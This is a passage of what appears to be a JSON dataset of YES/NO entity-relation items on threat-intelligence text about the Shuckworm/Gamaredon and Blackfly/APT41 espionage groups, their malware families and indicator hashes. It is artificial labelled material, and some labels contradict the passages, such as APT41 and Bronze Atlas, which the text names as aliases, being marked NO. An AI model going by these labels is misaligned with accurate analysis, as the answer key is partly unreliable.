forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: Russian Federal Security Service\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: FSB\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGamaredon\n### Target Entity: Ukraine\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nArmageddon\n### Target Entity: Ukraine\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGamaredon\n### Target Entity: Russia\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGamaredon\n### Target Entity: Russian Federal Security Service\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGamaredon\n### Target Entity: FSB\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nArmageddon\n### Target Entity: Russia\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nArmageddon\n### Target Entity: Russian Federal Security Service\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nArmageddon\n### Target Entity: FSB\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRussian Federal Security Service\n### Target Entity: Russia\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFSB\n### Target Entity: Russia\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: Ukraine\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: Asia\n### Text Passage:\nBlackfly: Espionage Group Targets Materials Technology\nGroup targets multiple subsidiaries of single Asian conglomerate.\nThe Blackfly espionage group (APT41, Winnti Group, Bronze Atlas) has continued to mount attacks against targets in Asia and recently targeted two subsidiaries of an Asian conglomerate, both of which operate in the materials and composites sector, suggesting that the group may be attempting to steal intellectual property.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT41\n### Target Entity: Asia\n### Text Passage:\nBlackfly: Espionage Group Targets Materials Technology\nGroup targets multiple subsidiaries of single Asian conglomerate.\nThe Blackfly espionage group (APT41, Winnti Group, Bronze Atlas) has continued to mount attacks against targets in Asia and recently targeted two subsidiaries of an Asian conglomerate, both of which operate in the materials and composites sector, suggesting that the group may be attempting to steal intellectual property.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWinnti Group\n### Target Entity: Asia\n### Text Passage:\nBlackfly: Espionage Group Targets Materials Technology\nGroup targets multiple subsidiaries of single Asian conglomerate.\nThe Blackfly espionage group (APT41, Winnti Group, Bronze Atlas) has continued to mount attacks against targets in Asia and recently targeted two subsidiaries of an Asian conglomerate, both of which operate in the materials and composites sector, suggesting that the group may be attempting to steal intellectual property.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBronze Atlas\n### Target Entity: Asia\n### Text Passage:\nBlackfly: Espionage Group Targets Materials Technology\nGroup targets multiple subsidiaries of single Asian conglomerate.\nThe Blackfly espionage group (APT41, Winnti Group, Bronze Atlas) has continued to mount attacks against targets in Asia and recently targeted two subsidiaries of an Asian conglomerate, both of which operate in the materials and composites sector, suggesting that the group may be attempting to steal intellectual property.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT41\n### Target Entity: Bronze Atlas\n### Text Passage:\nBlackfly: Espionage Group Targets Materials Technology\nGroup targets multiple subsidiaries of single Asian conglomerate.\nThe Blackfly espionage group (APT41, Winnti Group, Bronze Atlas) has continued to mount attacks against targets in Asia and recently targeted two subsidiaries of an Asian conglomerate, both of which operate in the materials and composites sector, suggesting that the group may be attempting to steal intellectual property.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: U.S.\n### Text Passage:\nUndeterred\nDespite being the subject of a U.S. indictment, Blackfly has continued to mount attacks, seemingly undeterred by the publicity afforded to the group. Although it originally made a name for itself by attacking the gaming sector, the group appears focused on targeting intellectual property in a variety of sectors at present.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: PlugX/Fast\n### Text Passage:\nLongstanding APT group\nBlackfly is one of the longest known Chinese advanced persistent threat (APT) groups, active since at least 2010. Early attacks were distinguished by the use of the PlugX/Fast (Backdoor.Korplug), Winnti/Pasteboy (Backdoor.Winnti), and Shadowpad (Backdoor.Shadowpad) malware families. The group initially made a name for itself through attacks on the computer gaming industry. It subsequently branched out into targeting a more diverse range of targets, including organizations in the semiconductor, telecoms, materials manufacturing, pharmaceutical, media and advertising, hospitality, natural resources, fintech, and food sectors.\nBlackfly has been closely associated with a second Chinese APT group known as Grayfly, so much so that some vendors track the two groups as one actor: APT41. A 2020 indictment of seven men on charges relating to hundreds of cyber attacks carried out by both groups appeared to shed light on this link. Two Chinese nationals were alleged to have worked with both groups. A crossover in personnel may account for the similarities between both groups.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: Winnti/Pasteboy\n### Text Passage:\nLongstanding APT group\nBlackfly is one of the longest known Chinese advanced persistent threat (APT) groups, active since at least 2010. Early attacks were distinguished by the use of the PlugX/Fast (Backdoor.Korplug), Winnti/Pasteboy (Backdoor.Winnti), and Shadowpad (Backdoor.Shadowpad) malware families. The group initially made a name for itself through attacks on the computer gaming industry. It subsequently branched out into targeting a more diverse range of targets, including organizations in the semiconductor, telecoms, materials manufacturing, pharmaceutical, media and advertising, hospitality, natural resources, fintech, and food sectors.\nBlackfly has been closely associated with a second Chinese APT group known as Grayfly, so much so that some vendors track the two groups as one actor: APT41. A 2020 indictment of seven men on charges relating to hundreds of cyber attacks carried out by both groups appeared to shed light on this link. Two Chinese nationals were alleged to have worked with both groups. A crossover in personnel may account for the similarities between both groups.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: Shadowpad\n### Text Passage:\nLongstanding APT group\nBlackfly is one of the longest known Chinese advanced persistent threat (APT) groups, active since at least 2010. Early attacks were distinguished by the use of the PlugX/Fast (Backdoor.Korplug), Winnti/Pasteboy (Backdoor.Winnti), and Shadowpad (Backdoor.Shadowpad) malware families. The group initially made a name for itself through attacks on the computer gaming industry. It subsequently branched out into targeting a more diverse range of targets, including organizations in the semiconductor, telecoms, materials manufacturing, pharmaceutical, media and advertising, hospitality, natural resources, fintech, and food sectors.\nBlackfly has been closely associated with a second Chinese APT group known as Grayfly, so much so that some vendors track the two groups as one actor: APT41. A 2020 indictment of seven men on charges relating to hundreds of cyber attacks carried out by both groups appeared to shed light on this link. Two Chinese nationals were alleged to have worked with both groups. A crossover in personnel may account for the similarities between both groups.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT41\n### Target Entity: PlugX/Fast\n### Text Passage:\nLongstanding APT group\nBlackfly is one of the longest known Chinese advanced persistent threat (APT) groups, active since at least 2010. Early attacks were distinguished by the use of the PlugX/Fast (Backdoor.Korplug), Winnti/Pasteboy (Backdoor.Winnti), and Shadowpad (Backdoor.Shadowpad) malware families. The group initially made a name for itself through attacks on the computer gaming industry. It subsequently branched out into targeting a more diverse range of targets, including organizations in the semiconductor, telecoms, materials manufacturing, pharmaceutical, media and advertising, hospitality, natural resources, fintech, and food sectors.\nBlackfly has been closely associated with a second Chinese APT group known as Grayfly, so much so that some vendors track the two groups as one actor: APT41. A 2020 indictment of seven men on charges relating to hundreds of cyber attacks carried out by both groups appeared to shed light on this link. Two Chinese nationals were alleged to have worked with both groups. A crossover in personnel may account for the similarities between both groups.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: Korplug\n### Text Passage:\nLongstanding APT group\nBlackfly is one of the longest known Chinese advanced persistent threat (APT) groups, active since at least 2010. Early attacks were distinguished by the use of the PlugX/Fast (Backdoor.Korplug), Winnti/Pasteboy (Backdoor.Winnti), and Shadowpad (Backdoor.Shadowpad) malware families. The group initially made a name for itself through attacks on the computer gaming industry. It subsequently branched out into targeting a more diverse range of targets, including organizations in the semiconductor, telecoms, materials manufacturing, pharmaceutical, media and advertising, hospitality, natural resources, fintech, and food sectors.\nBlackfly has been closely associated with a second Chinese APT group known as Grayfly, so much so that some vendors track the two groups as one actor: APT41. A 2020 indictment of seven men on charges relating to hundreds of cyber attacks carried out by both groups appeared to shed light on this link. Two Chinese nationals were alleged to have worked with both groups. A crossover in personnel may account for the similarities between both groups.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT41\n### Target Entity: Korplug\n### Text Passage:\nLongstanding APT group\nBlackfly is one of the longest known Chinese advanced persistent threat (APT) groups, active since at least 2010. Early attacks were distinguished by the use of the PlugX/Fast (Backdoor.Korplug), Winnti/Pasteboy (Backdoor.Winnti), and Shadowpad (Backdoor.Shadowpad) malware families. The group initially made a name for itself through attacks on the computer gaming industry. It subsequently branched out into targeting a more diverse range of targets, including organizations in the semiconductor, telecoms, materials manufacturing, pharmaceutical, media and advertising, hospitality, natural resources, fintech, and food sectors.\nBlackfly has been closely associated with a second Chinese APT group known as Grayfly, so much so that some vendors track the two groups as one actor: APT41. A 2020 indictment of seven men on charges relating to hundreds of cyber attacks carried out by both groups appeared to shed light on this link. Two Chinese nationals were alleged to have worked with both groups. A crossover in personnel may account for the similarities between both groups.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT41\n### Target Entity: Winnti/Pasteboy\n### Text Passage:\nLongstanding APT group\nBlackfly is one of the longest known Chinese advanced persistent threat (APT) groups, active since at least 2010. Early attacks were distinguished by the use of the PlugX/Fast (Backdoor.Korplug), Winnti/Pasteboy (Backdoor.Winnti), and Shadowpad (Backdoor.Shadowpad) malware families. The group initially made a name for itself through attacks on the computer gaming industry. It subsequently branched out into targeting a more diverse range of targets, including organizations in the semiconductor, telecoms, materials manufacturing, pharmaceutical, media and advertising, hospitality, natural resources, fintech, and food sectors.\nBlackfly has been closely associated with a second Chinese APT group known as Grayfly, so much so that some vendors track the two groups as one actor: APT41. A 2020 indictment of seven men on charges relating to hundreds of cyber attacks carried out by both groups appeared to shed light on this link. Two Chinese nationals were alleged to have worked with both groups. A crossover in personnel may account for the similarities between both groups.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT41\n### Target Entity: Shadowpad\n### Text Passage:\nLongstanding APT group\nBlackfly is one of the longest known Chinese advanced persistent threat (APT) groups, active since at least 2010. Early attacks were distinguished by the use of the PlugX/Fast (Backdoor.Korplug), Winnti/Pasteboy (Backdoor.Winnti), and Shadowpad (Backdoor.Shadowpad) malware families. The group initially made a name for itself through attacks on the computer gaming industry. It subsequently branched out into targeting a more diverse range of targets, including organizations in the semiconductor, telecoms, materials manufacturing, pharmaceutical, media and advertising, hospitality, natural resources, fintech, and food sectors.\nBlackfly has been closely associated with a second Chinese APT group known as Grayfly, so much so that some vendors track the two groups as one actor: APT41. A 2020 indictment of seven men on charges relating to hundreds of cyber attacks carried out by both groups appeared to shed light on this link. Two Chinese nationals were alleged to have worked with both groups. A crossover in personnel may account for the similarities between both groups.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShadowpad\n### Target Entity: PlugX/Fast\n### Text Passage:\nLongstanding APT group\nBlackfly is one of the longest known Chinese advanced persistent threat (APT) groups, active since at least 2010. Early attacks were distinguished by the use of the PlugX/Fast (Backdoor.Korplug), Winnti/Pasteboy (Backdoor.Winnti), and Shadowpad (Backdoor.Shadowpad) malware families. The group initially made a name for itself through attacks on the computer gaming industry. It subsequently branched out into targeting a more diverse range of targets, including organizations in the semiconductor, telecoms, materials manufacturing, pharmaceutical, media and advertising, hospitality, natural resources, fintech, and food sectors.\nBlackfly has been closely associated with a second Chinese APT group known as Grayfly, so much so that some vendors track the two groups as one actor: APT41. A 2020 indictment of seven men on charges relating to hundreds of cyber attacks carried out by both groups appeared to shed light on this link. Two Chinese nationals were alleged to have worked with both groups. A crossover in personnel may account for the similarities between both groups.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\n### Target Entity: Proxy configuration tool\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 